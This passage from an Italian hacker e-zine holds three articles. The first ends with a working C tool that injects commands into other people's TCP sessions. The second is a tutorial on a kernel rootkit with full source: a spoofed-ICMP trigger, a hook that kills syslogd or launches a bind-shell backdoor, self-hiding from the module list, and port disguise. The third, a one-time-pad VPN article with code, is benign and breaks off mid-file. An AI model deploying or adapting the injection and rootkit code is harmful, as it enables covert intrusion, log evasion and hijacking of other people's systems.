1954259864 1954259874 |__________|__________| bbbbbbbbbbbbbbbrnaaa In poche parole si *mangia* alcuni caratteri del pacchetto inviato dall' attacker dove i byte di dati si sovrappongono (spiegato dopo). # nc -l -p 23 ? !"'bbbbbbbbbbbbbbb aaa A questo punto la sessione TCP entra in desync: 17:31:05.130479 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:05.130526 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:05.550474 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:05.550522 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:06.390473 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:06.390520 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:08.070472 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:08.070520 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:11.430475 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:11.430521 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 17:31:18.150472 192.168.1.6.1035 > 192.168.1.5.23: P 1954259864:1954259881(17) ack 2222421762 win 5840 17:31:18.150517 192.168.1.5.23 > 192.168.1.6.1035: . ack 1954259884 win 5792 i due host non hanno piu' modo di comunicare ma i nostri dati sono stati iniettati. Rimane un problema. Come abbiamo visto quando lo stack riassembla il flusso di dati alcuni byte che abbiamo iniettato vengono sovrascritti. Immaginiamo uno scenario tipico in cui un attacker vuole iniettare il comando date in una sessione telnet al fine di eseguirlo sulla macchina target: 1954259864 1954259874 |__________|__________| date bbbbbbbbbbbbbbbrn Una volta che l'host avra' riassemblato i pacchetti il comando verra' di fatto sovrascritto: 1954259864 1954259874 |__________|__________| bbbbbbbbbbbbbbbrn Come puo' evitare che il comando venga sovrascritto? Tutto cio' che si puo' fare e' ridurre al minimo le possibilita' che esso venga sovrascritto, iniettiamo il comando preceduto da una sequenza di altri caratteri che non ci servono e andranno sovrascritti e che allo stesso non influiscano sull'esecuzione del nostro comando: 1954259864 1954259874 |__________|__________| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;date bbbbbbbbbbbbbbbrn La shell restituira' un errore e poi eseguira' il comando: bash: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: command not found Wed May 26 18:39:00 UTC 2004 Se volessimo stimare i tempi necessari per portare a termine l'attacco dovremmo eseguire gli stessi calcoli eseguiti in precedenza ma considerando come grandezza del pacchetto 20 byte di IP header + 20 byte di TCP header + i byte di dati da iniettare che costituiscono il payload. 10. Codice Tcp Inject /* * tcp_inject.c: Proof of concept exploit that demonstrates a modified * version of the attack described by Paul A. Watson in * his paper "Slipping In The Window: TCP Reset Attacks" * and try to inject arbitrary data in the tcp stream * * You need libnet 1.1.x * * Compile: * gcc tcp_inject.c -o tcp_inject -lnet * * By: eazy */ #include #include #include #include #define CMD ";date\n" /* exploit telnet session */ #define CMD2 "\nWHOIS eazy\n" /* exploit irc session */ char nop[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaa"; void usage(char *prog) { fprintf(stderr,"Usage: %s -s -d -p " " -q [-n ] [-w ] [-t ]\n" "\t-s\tsource ip address\n" "\t-d\tdestination ip address\n" "\t-p\tsource port\n" "\t-q\tdestination port\n" "\t-n\tinitial sequence number (default random)\n" "\t-w\twindow size (default 1000)\n" "\t-t\tpacket timeout (default 10000)\n" ,prog); exit(-1); } int main(int argc, char **argv) { char payload[500]; int i, c, build_ip, opt, win = 1000, timeout = 10000, payload_s; unsigned short src_port = 0, dst_port = 0; unsigned long src_ip = 0, dst_ip = 0, seq = 0; libnet_t *l; libnet_ptag_t tcp, ip; struct libnet_stats stat; char errbuf[LIBNET_ERRBUF_SIZE]; memset(&stat, 0, sizeof(stat)); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "Libnet_init error: %s\n", errbuf); exit(-1); } while ((opt = getopt(argc, argv, "s:d:p:q:n:w:t:h")) != -1) switch (opt) { case 's': src_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'd': dst_ip = libnet_name2addr4(l, optarg, LIBNET_DONT_RESOLVE); break; case 'p': src_port = atoi(optarg); break; case 'q': dst_port = atoi(optarg); break; case 'n': seq = strtoul(optarg, NULL, 0); break; case 'w': win = atoi(optarg); break; case 't': timeout = atoi(optarg); break; case 'h': case '?': usage(argv[0]); } if (optind < argc) usage(argv[0]); if (!src_ip || !dst_ip || !src_port || !dst_port) usage(argv[0]); if (!seq) { libnet_seed_prand(l); seq = libnet_get_prand(LIBNET_PRu32); } payload_s = snprintf(payload,sizeof(payload), "%s%s", nop, CMD); for (tcp = LIBNET_PTAG_INITIALIZER, build_ip = 1; seq < 4294967296 - win; seq += win) { tcp = libnet_build_tcp( src_port,/* source port */ dst_port,/* destination port */ seq, /* sequence number */ 0, /* acknowledgement num */ TH_PUSH, /* control flags */ 31337, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ LIBNET_TCP_H + payload_s, payload, /* payload */ payload_s,/* payload size */ l, /* libnet handle */ tcp); /* libnet id */ if (tcp == -1) { fprintf(stderr, "Libnet_build_tcp error: %s\n", libnet_geterror(l)); goto bad; } if (build_ip) { build_ip = 0; ip = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_TCP_H +payload_s, 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ip == -1) { fprintf(stderr, "Libnet_build_ipv4 error: %s\n", libnet_geterror(l)); goto bad; } } if ((c = libnet_write(l)) == -1) { fprintf(stderr, "Libnet_write error: %s\n", libnet_geterror(l)); goto bad; } for(i = 0; i < timeout; i++); } libnet_stats(l, &stat); fprintf(stderr, "Packets sent: %d (%d bytes)\n" "Packet errors: %d\n", stat.packets_sent, stat.bytes_written, stat.packet_errors); libnet_destroy(l); exit(0); bad: libnet_destroy(l); exit(-1); } 11. Riferimenti [1] "Slipping In The Window: TCP Reset Attacks", Paul Watson [2] "BGP Vulnerability Testing: Separating Fact from FUD", Convery&Franz [3] "TCP/IP Illustrated, Volume 1: The Protocols", Richard Stevens [4] "RFC 793, TRANSMISSION CONTROL PROTOCOL" [5] http://www.uniras.gov.uk/vuls/2004/236929/index.htm eazy org> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x08][SECURiTY] PSEUD0 R00TSHELL WiTH iCMP_RCV() H00KiNG #2 [Evil] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ---Sommario------------------------------------------------------------- (Introduzione) (Come funziona) (Costruiamo il client) (Costruiamo il filtro interno) (Nascondere il lavoro) (++Implementazioni) (Conclusione) ---Introduzione--------------------------------------------------------- Ammettendo che il titolo di questo tutorial non trasmette nulla di significante, quello che seguira' dopo questo primo pezzo di introduzione e' un idea nata inizialmente per bisogno personale e trasformatasi in idea pubblica, per cercare, trasmettendola ai meno esperti, di introdurli al kernel hacking, e trasmettendolo agli altri per cercare sostegno, critiche ed idee dagli stessi. ---Come funziona-------------------------------------------------------- il programma di mia invenzione crea una comunicazione tra l'utente e la macchina remota, senza bisogno di aprire nessuna porta, creando un dialogo di tipo +------------+ +------------+ +------------+ | Client | --> | Filtro | --> | Interprete | +------------+ +------------+ +------------+ Spieghiamo meglio, durante la ricezione di un pacchetto ICMP, viene effettuata dal kernel una chiamata di sistema alla funzione icmp_rcv() questa syscall appena ricevuto un pacchetto ne controlla il contenuto l'integrita' e solo dopo lo passa ad eventuali passaggi successivi. ecco il filtro non fa altro che andare ad hookare la syscall icmp_rcv(), cambiandone il comportamento nella ricezione di pacchetti ICMP, aggiungendo una specie di filtro, che all'arrivo del pacchetto, controlla il codice code_no del pacchetto stesso, lo confronta con dei codici MAGIC CODE da noi prestabiliti, e a seconda del code ricevuto nel pacchetto, chiama l'interprete residente in user space, via execve(), usando l'environment associato al magic code, a quel punto l'interprete provvedera' ad eseguire l'azione richiesta.. Il client in questo caso non fa nulla di difficile o importante, il suo compito e' quello di mandare il pacchetto con il code_no selezionabile da prompt, insomma automatizza e semplifica quello che si potrebbe fare anche con un programma come hping.. Purtroppo al di la' dei suoi Pro, come il non tenere porte aperte, non loggare le connessioni, e quindi mantenere il tutto perfettamente anonimo, ha un suo Contro, che e' quello di limitare i comandi alle potenzialita' dell'interprete, avremo quindi i privilegi di root, ma non una bind shell nostra. Ci si puo' comunque consolare per il fatto dell'assoluta anonimita', anche via sniffer il nostro vero IP non verrebbe loggato, grazie all'invio dell'icmp via raw socket, e quindi con la possibilita' di spoofare l'indirizzo IP del mittente ---Costruiamo il client------------------------------------------------- Come detto prima, per creare il client bastera', programmare un icmp sender con l'uso delle raw socket, e far assumere da linea di comando il destinatario, e il code_no del pachetto.. /* client part * * this is the client part of this program *based on spoofping * it sends a personalized icmp packet to the remote system * you can select the code_no and the relative action by * the -c environment * usage: ./client -h * * view the README for more information or visit www.eviltime.com * coded by Evil * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define VERSION "0.1" extern char *optarg; extern int optind, opterr, optopt; struct ping_struct { struct sockaddr_in sin; /* socket prot structure */ int s; /* socket */ int psize; /* packet size */ int num; /* number of packets to send */ }; struct icmp_pkt { struct iphdr ip; struct icmphdr icmp; char *packet; }; void usage(char *program); int sendping(void);int create_socket(char *s_ipaddr); int create_packet(char *d_ipaddr); int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr); int getopt(int argc, char * const argv[], const char *optstring); int getopt_long(int argc, char * const argv[],const char *optstring,const struct option *longopts, int *longindex); int getopt_long_only(int argc, char * const argv[], const char *optstring,const struct option *longopts, int *longindex); int on=1; int icode_no; struct sockaddr_in sock_in; struct ping_struct ping; int main(int argc, char *argv[]) { int response; //response value int i,k; //counter int x,y; char *s_ipaddr; //source ip address char *d_ipaddr; //destination ip address char c; // verify Argument if (argc < 2) { usage(argv[0]); exit(-1); } // getting Argument d_ipaddr = argv[1]; ping.num = 1; ping.psize= 64; optind = 3; while ((c = getopt(argc, argv, "hlc:s:")) != -1) { switch(c) { case 's': s_ipaddr=optarg; break; case 'c': icode_no=optarg; break; case 'l': printf("code_no: 20\tkill syslogd /(useful: before your connection/)\n"); break; case 'h': usage(argv[0]); break; } } printf("creating socket ... "); // create socket if ((ping.s=create_socket(s_ipaddr)) < 0) { perror("socket"); exit(-1); } printf("/(done/)\n"); printf("creating and sending packet ... "); //create packet and sent it printf("\n"); for (i = 1; i <= ping.num; i ++) { if ((response=create_packet(d_ipaddr)) != 1) { perror("create_packet() "); } fflush(stdout); x= (i * 100) / ping.num ; usleep(500000); } printf("/(done/)\n"); } void usage(char *program) { printf(" * client usage: %s -s \n", program); exit(-1); } int create_socket(char *s_ipaddr) { int val_sock; // setting socket family ping.sin.sin_family = AF_INET; // socket port (0) ping.sin.sin_port = htons(0); // spoofing ip =) ping.sin.sin_addr.s_addr = inet_addr(s_ipaddr); // creating socket if ((val_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { perror("socket() "); exit(-1); } // setting socket option if (setsockopt(val_sock, IPPROTO_IP, IP_HDRINCL, (char *)&on,on) == -1) { perror("setsockopt() "); exit(-1); } // return socket id return(val_sock); } int create_packet(char *d_ipaddr) { struct icmp_pkt icmppkt; int i; int pktsize; int hdrsize = (sizeof(icmppkt.ip) + sizeof(icmppkt.icmp)); int rtrn=1; // setting packet size if ((hdrsize) > ping.psize) { printf("header: %i\n",hdrsize); printf("size : %i\n",ping.psize); printf("spoofping() :packet too small\n"); exit(-1); } pktsize = (ping.psize - hdrsize) + 20; icmppkt.packet = malloc(pktsize); /* send it on its way */ send_packet(&icmppkt,&ping,d_ipaddr); free(icmppkt.packet); return(rtrn); } int send_packet(struct icmp_pkt *icmppkt, struct ping_struct *ping,char *d_ipaddr ) { int len=strlen(icmppkt->packet); int pkt_number; int pktsize; int hdrsize = (sizeof(icmppkt->ip) + sizeof(icmppkt->icmp)); struct icmp_pkt *tmpicmp; /* fill in IP header */ icmppkt->ip.version = 4; icmppkt->ip.ihl = 5; icmppkt->ip.tos = 0; icmppkt->ip.tot_len = htons(ping->psize); icmppkt->ip.id = htons(getpid()); icmppkt->ip.frag_off = 0; icmppkt->ip.ttl = 255; icmppkt->ip.protocol = IPPROTO_ICMP; icmppkt->ip.check = 0; icmppkt->ip.saddr = ping->sin.sin_addr.s_addr; icmppkt->ip.daddr = inet_addr(d_ipaddr); /* fill in ICMP header */ icmppkt->icmp.type = ICMP_ECHO; icmppkt->icmp.code = icode_no; icmppkt->icmp.checksum = htons(~(ICMP_ECHO << 8)); pktsize = (ping->psize - hdrsize) + 20; if (len <= 1480) { memset(icmppkt->packet,'A',pktsize); if (sendto(ping->s, icmppkt,(hdrsize + pktsize), 0, (struct sockaddr *)&ping->sin, sizeof(struct sockaddr)) == -1) { perror("sendto() "); exit(-1); } } else { pkt_number=(int) div(len , 1480).quot; fprintf(stderr,"fragmentation not supported\n"); exit(-1); } return(1); } ---Costruiamo il filtro interno----------------------------------------- Quindi possiamo costruire il filtro interno, nel quale pero' in questo tutorial inseriro' un solo caso, i casi multipli, dovranno essere inseriti da voi a seconda delle vostre esigenze.. /* filter part * * this is the filter part it checks for icmp sended by the client * * view the README for more information or visit www.eviltime.com * coded by Evil * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAGICCODE 20 // define the MAGICCODE number as icmp code_no extern void* sys_call_table[]; extern void inet_add_protocol(struct inet_protocol *prot); extern int inet_del_protocol(struct inet_protocol *prot); int my_icmp_rcv(struct sk_buff *skb); struct inet_protocol *original_icmp_protocol; struct inet_protocol my_icmp_protocol = { &my_icmp_rcv, NULL, NULL, IPPROTO_ICMP, 0, // number of copies NULL, "ICMP" // name of the protocol }; int my_icmp_rcv(struct sk_buff *skb) { static char * argv_init[MAX_INIT_ARGS+2] = { "-9", NULL, }; // first argoment char * envp_init[MAX_INIT_ENVS+2] = { "syslogd", NULL, }; // and the second.. unsigned short int code_no; long res; code_no = skb->h.icmph->code; if (code_no == MAGICCODE) { // if the received packet haves code_no = 20 execve("/bin/kill", argv_init, envp_init); // kill the syslogd } return (original_icmp_protocol->handler) ( skb ); } int init_module(void) { inet_add_protocol(&my_icmp_protocol); original_icmp_protocol = my_icmp_protocol.next; inet_del_protocol(original_icmp_protocol); return 0; } void cleanup_module() { inet_add_protocol(original_icmp_protocol); inet_del_protocol(&my_icmp_protocol); } ---Nascondere il lavoro------------------------------------------------- Nascondere il tutto adesso risulta molto piu' facile del previsto, bastera' creare un modulo per il kernel, che nasconda dalla lista l'ultimo modulo caricato, ovvero il filtro.. /* cleaner part - used for hiding the last module loaded (filter) */ #define __KERNEL__ #define MODULE #include #include int init_module() { if (__this_module.next) __this_module.next = __this_module.next->next; return 1; } int cleanup_module() { } ---Implementazioni------------------------------------------------------ Sotto questa base di programma, sono moltissime le idee che possono saltare per la testa a qualunque smanettone.., qui ve ne propongo alcune delle mie. La prima consiste nella possibilita' di crearci una backdoor secondaria con attivazione "on-the-fly", ovvero un programma esterno al modulo creato in precedenza, che come una normalissima bk bindi /bin/sh ad una determinata porta, il vantaggio e' dunque quello che questa backdoor con prompt la attiviamo e la disattiviamo ogni volta che vogliamo e quindi un punto di sicurezza in piu' per noi, e tutto questo senza il pericolo di perdere l'accesso remoto.. il mio programma aggiuntivo consiste in 2 file (dot)c, uno e' la backdoor e l'altro e' un modulo per il disguise locale della connessione, ovviamente la backdoor non ce' bisogno di listarvela qui, se non avete voglia di codarvene una, ce' qualche buon code su packetstormsecurity... lcs.c(local connection spoofer) /* lcs.c - kernel module for local connection spoofing * * an instrument to spoof the port, on a connection * coded by Evil - www.eviltime.com * don't work on kernel 2.6 series * references: http://doc.linprj.org/coding/lkm/kernelandtcp.txt * * gcc -O6 -c cntspoofer.c -I/usr/src/linux-"version"/include */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define FAKEPORT 80 // the fake port =) (http) #define REALPORT 31337 // the real connection port (rootkit's backdoor) struct device *d; struct packet_type otp_proto; __u32 in_aton(const char *); int otp_func(struct sk_buff *skb, struct device *dev, struct packet_type *pkt_t) { unsigned long int our_ip; unsigned int syn = skb->h.th->syn; unsigned int fin = skb->h.th->fin; our_ip = in_aton(ip); if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING) && (skb->h.th->source == REALPORT) || (skb->h.th->dest == REALPORT)) { // se la porta di destinazione o quella sorgente, e' = REALPORT if (skb->h.th->source == REALPORT) skb->h.th->source = htons(FAKEPORT); // se e' la sorgente cambia il campo source con FAKEPORT if (skb->h.th->dest == REALPORT) skb->h.th->dest = htons(FAKEPORT); // se e' quella di destinazione cambia invece il campo dest if (skb->h.th->fin == 1) { skb->h.th->fin = 0; skb->h.th->syn = 1; kfree_skb(skb); return 0; } if (skb->h.th->syn == 1) { skb->h.th->fin = 1; skb->h.th->syn = 0; } } } /* ascii string 2 ip */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } int init_module() { if(!ip) { return -ENXIO; } otp_proto.type = htons(ETH_P_ALL); otp_proto.func = otp_func; dev_add_pack(&otp_proto); return(0); } void cleanup_module() { dev_remove_pack(&otp_proto); } ora ci bastera' cambiare la stringa di richiamo nel modulo icmp_rcv(); -- execve("/bin/kill", argv_init, envp_init); ++ execve("./backdoor", argv_init, envp_init); ed il gioco e' fatto.. un'altra idea sarebbe quella di implementare uno switch() nel modulo base e creando una vera e propria lista di magic_codes assegnare con i case le varie azioni ai relativi code_no ricevuti.. un altro buon uso di questo metodo di backdooring e' consultabile nel mio code loggy-3.0 downloaddabile dal mio sito www.eviltime.com nella sezione dello staff o altrimenti su http://sourceforge.net/projects/loggy il metodo sta nell'usare loggy.c il programma principale da remoto passando parametri autoassegnanti dal modulo stesso, sfruttando le variabili dello struct di skbuff, vi ricordo che per passare parametri ad un modulo del kernel abbiamo bisogno dei module parm e di passare argomento var="stringa" alla linea di comando standard. Un altro piccolo accorgimento e' quello di creare un programma residente in userspace, che permetta di modificare le configurazioni del modulo. Il metodo piu usato per mettere in pratica quanto detto, e' quello di creare una nuova syscall, implementarla dunque al nostro modulo 'target' e usandola nel programma userspace, comunicare al modulo cosa si desidera' cambiare, (impostazioni, variabili, comportamento), ovviamente creando un dialogo e quindi inserire un pezzo di codice nel modulo per permettere di interpretare gli argomenti passati dal programma in userspace. Insomma le idee nascono tranquillamente e le applicazioni sono moltissime basta un po' di inventiva e qualche conoscenza teorica e pratica nella programmazione in C, Kernel moduling e una mezza idea di come gira il mondo del networking. ---Conclusioni---------------------------------------------------------- Prima di concludere tenevo a far sapere, che i code rilasciati nel tutorial sono tutti in forma base, quasi inutili direi, ricordate che ce' possibilita' di aggiungere un interprete stand-alone, e code_no a scelta multipla, facendo si che il filtro differenzi un code_no dall'altro e passi i relativi environment all'interprete che svolgera in seguito l'azione passata per argomento in linea di comando.. Concludo quindi augurandomi di aver spiegato il tutto in modo semplice e comprensibile, per qualsiasi motivo mandate un email a: webmaster@eviltime.com e visitate www.eviltime.com per tenervi aggiornati sui miei lavori ------------------------------------------------------------------------ Evil com> http://www.eviltime.com ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0C] OQ20040615[0C] :: :: [0x09][SECURiTY] ViRTUAL PRiVATE NETW0RK 0VER 0NE-TiME PAD [lesion] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: - Intro - Dopo tanta latitanza, rieccomi tra le pagine di ondaquadra. nell'articolo ke segue, vi parlero' dell'unico algoritmo crittografico perfetto, il one time pad. dopo alcuni cenni storici e una breve spiegazione teorica condita con sorgenti, cerkero' di capirne i difetti e i pregi. in conclusione propongo una possibile implementazione reale di questo semplicissimo algoritmo e allego un tool ke fa' il tutto. - Brevissimi cenni storici - Giusto per conoscenza/curiosita' lascio un'infarinatura storica raccapezzata dal web. L'algoritmo in questione, il one time pad, d'ora in poi otp, e' stato "creato" nel 1917 da un certo signor Gilbert Verman (di cui ho trovato poco e niente), e dimostrato l'unico sistema crittografico perfetto nel 1949 dal famoso Shannon (si, quello della teoria dell'informazione). Un teorema di shannon afferma infatti: "In un sistema crittografico perfetto la lunghezza della chiave deve essere almeno pari alla lunghezza del testo in chiaro", e questo e' esattamente quello ke avviene nell'otp. - Teoria. Come funziona l'otp, pregi e difetti - Come scritto appena 5 righe fa, la peculiarita' dell'otp e' ke la lunghezza della kiave deve essere come quella del testo da cifrare. Un altro requisito fondamentale, e' ke la kiave venga generata da una fonte di informazioni casuali, un rng insomma (random number generator). ora, con un semplice xor tra la kiave e il testo da cifrare, quello in kiaro insomma, otteniamo un testo cifrato molto particolare dal punto di vista di un crittoanalista. l'unica informazione contenuta nel testo infatti, per un elemento ke nn conosce la key, e' la lunghezza del testo stesso. infatti, statisticamente, il testo cifrato, potrebbe essere qualsiasi informazione sensata di quella lunghezza; per fare un esempio, il testo "a7C@" potrebbe essere "ciao" oppure "culo", anzi, lo sono entrambi, basta avere la key giusta per decifrarne uno o l'altro. la key pero', deve averla solo il nostro interlocutore, questa e' l'unica sicurezza ke ci porta a considerare sicuro il tutto. il punto debole quindi, come vi state immaginando, sta nel condividere la kiave in modo sicuro, nel senso, nn possiamo mandare la key via email. le dimostrazioni di shannon su come l'otp e' il cifrario perfetto nn me la sento di farle ke un conto e' capirlo e un'altro e' farlo capire , quindi vi lascio qlke link sul finale. noi ci occuperemo di come implementarlo. una parte cruciale dell'implementazione e' appunto lo scambio di chiavi, che come abbiamo detto nn puo' avvenire in canali non sicuri, quindi deve avvenire necessariamente nella vita reale per quanto mi riguarda. cioe', tutta la sicurezza e la paranoia di usare one time pad, e' inutile se poi ci scambiamo le kiavi via internet; sarebbe molto + sicuro utilizzare dei cifrari asimmetrici a questo punto. l'uso di otp, per come la vedo io, e' giustificabile solo per comunicazioni di cui bisogna essere proprio sicuri ke nessuno (ma proprio nessuno eh...) sia in grado di comprendere, con nessun mezzo; nn e' una questione di soldi ne' di potere, non si puo' . kiaramente possono andare a casa del vostro interlocutore e trovargli la key nella home, oppure torturarlo finke' nn rivela dove sta la key, ma si sa', spesso il punto debole della catena e' sempre l'uomo. - Come ti implemento One Time Pad in C - Nulla di + semplice. 2 fopen per aprire i rispettivi file, la key e il testo in kiaro, e un'operatore, lo xor, ke in c viene indicato dal simbolo ^. lo xor e' un operatore logico ke opera con 2 operandi, 2 bit + precisamente, ed ha una proprieta' particolare, ovvero ke e' invertibile: conoscendo uno dei due operandi e il risultato, e' possibile ottenere con facilita' l'operando mancante, vediamo un esempio: a ^ b = c c ^ b = a 1 ^ 1 = 0 0 ^ 1 = 1 questo succede perke' lo xor risulta vero solamente quando i 2 operandi sono diversi, quindi (carattere del testo in chiaro) xor (carattere della key) = (carattere del testo cifrato) e mandando il testo cifrato in giro, solamente il possessore della rispettiva key sara' in grado di decifrare il testo in modo corretto. detto questo, una funzione ke potrebbe illuminare molti di voi (in c nn ci possono essere fraintendimenti :))) la riporto qui di seguito: char *otp(int len,char *text,char *key) { for (;len>=0;len--) text[len]=text[len]^key[len]; return text; } no, non c'e' alcun tipo di controllo, si presume innanzitutto ke sia la key sia il testo contengano qualcosa, e soprattutto ke la key sia almeno lunga quanto il testo da cifrare. il ciclo sostanzialmente fa' lo xor tra un char del testo e uno della key alla posizione [len] , e con il risultato sovrascrive il testo in kiaro, che quindi alla fine del ciclo diventera' il testo cifrato. 3 righe di codice, davvero banale. lascio immaginare al lettore come utilizzare questa funzione all'interno di un programma! - VPN over One Time Pad - Il problema cruciale del One Time Pad e' sempre stata la sua implementazione nel mondo reale. Come introdotto prima, lo scambio di chiavi e' un problema, sia per quanto riguarda il mezzo di scambio (che abbiamo detto essere necessariamente il mondo reale) e sia per quanto riguarda la lunghezza: non possiamo sapere a priori quanto lunga ci serve una key perche' non conosciamo le potenziali comunicazioni che avverranno con il nostro corrispondente nel futuro. La soluzione sta nell'abbondare: con un kiave lunga 700Mb, posso scambiare 700Mb di informazioni, saremo noi a decidere per quanto tempo questo traffico sia sufficiente per pianificare un successivo incontro di scambio di kiavi. Durante l'implementazione, e' sorto un'altro problema: chiamiamo i 2 interlocutori A e B; se il otp viene utilizzato sopra una vpn potrebbero sorgere dei problemi di sincronizzazione. Le comunicazioni dovrebbero avvenire cosi': A manda "ciao" cifrandolo con i primi 4 caratteri della key (quindi sposta l'offset della propria key di 4 posizioni). B riceve il messaggio cifrato e lo decifra con i primi 4 chars della key (ke e' uguale a quella di A, se la sono scambiati in un bar il giorno prima) e anke lui sposta l'offset della sua key di 4 chars. Se B deve mandare un messaggio ad A ora, questo lo cifra partendo dal quinto carattere della key, e A lo potra' decifrare correttamente perke' anke il suo offset e' sul quinto carattere. Il problema sorge perke' le comunicazioni in internet non avvengono con un ritardo di tempo sempre uguale, anzi, quindi potenzialmente potrebbe verificarsi una situazione per cui A manda un messaggio e sposta l'offset della sua key e B manda un messaggio ad A, prima ke gli arrivi il messaggio di A. Come conseguenza, i messaggi mandati sono stati cifrati con la stessa parte di kiave, e quando i messaggi arriveranno a destinazione non verranno decifrati correttamente. Tutto questo porta oltre ad una desincronizzazione del flusso dei dati difficlmente riprendibile , anke ad un problema + importante, ovvero l'uso ripetuto di parti di kiave per cifrare i dati, il che, sfora uno dei prerequisiti del One Time Pad. La soluzione suggerita (non l'unica possibile ovviamente), e' quella di dividere la key condivisa in 2 parti (split vi dece nulla?), una per i dati in uscita, e una per quelli in entrata (al bar dovremmo anke concordare quali parti utilizzare per mandare e ricevere dati). Questo comporta anke la possibilita' di utilizzare key + lunghe o meno lunghe per mandare e ricevere dati in base alla particolare applicazione su cui vogliamo utilizzare la vpn. Il tool ke implementa quanto detto fin'ora lo trovate in allegato oppure su http://www.alternauts.org tra i sorgenti. Per utilizzarlo dovete avere il modulo tun ke permette la creazione di interfacce di rete virtuali. Il codice dovrebbe essere abbastanza commentato, e kiaramente pieno di problemi, ma tendenzialmente funziona. Se avete dubbi/domande/perplessita' nn abbiate timore a scrivermi: lesion@autistici.org la public key la trovate nei keyservers internazionali... Key fingerprint = 209E 411E 7988 C3B9 8B38 969D 46FE 3EAA 302B 58E4 http://underscore.hacklab.it/acari/lesion -------------------Makefile-------------------------------------------- SRC = otp.c socket.c vpn.c entropia.c CFLAGS = -O2 -Wall CC=gcc LIBS= -lm all : $(CC) $(CFLAGS) $(SRC) -o otp $(LIBS) clean: rm -f *.o otp indent: indent -bbb -bad -bap -bl -bli0 -cdb -ce -ci2 -cli2 -fc1 -fca -i2 -lp -npcs -psl -sc -nsob -nss -ts1 *.c *.h rm *~ -------------------end Makefile---------------------------------------- -------------------entropia.c------------------------------------------ #include "otp.h" #define log2of10 3.32192809488736234787 double entropia(char *file) { FILE *f; int i, oc; long ccount[256]; /* Bins to count occurrences of values */ long totalc = 0; /* Total character count */ double ent=0.0; double prob[256]; /* Probabilities per bin for entropy */ if ((f = fopen(file,"r")) < 0) fatal("[] Error while open '%s' file: '%s'\n", file, strerror(errno)); memset(ccount, 0, sizeof ccount); memset(prob, 0, sizeof prob); while ((oc = fgetc(f)) != EOF) { unsigned char ocb; ocb = (unsigned char) oc; totalc ++; ccount[ocb]++; /* Update counter for this bin */ } fclose(f); for (i = 0; i < 256; i++) prob[i] = (double) ccount[i] / totalc; for (i = 0; i < 256; i++) if (prob[i] > 0.0) ent += prob[i] * (log2of10 *log10(1 / prob[i])); return ent/8*100; } -------------------end entropia.c-------------------------------------- -------------------otp.c----------------------------------------------- #include "otp.h" void fatal(char *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); exit(-1); } // called by pressing ctrl+c void close_key() { close(key_fd); close(rand_fd); printf("\n[] key generated!\n[] Calculating the entropy of key..."); fflush(stdout); printf("\r[] Entropy of the key is %.3f%%\n", entropia(arg.key_file)); exit(0); } // print some needed informations void usage() { printf("\n\n\topt implements the one time pad algo!\n\totp usage:\n\n\n"); printf("\t- Create key:\n\t\totp --gen_key key_file\n\t\topt -g key_file\n\n"); 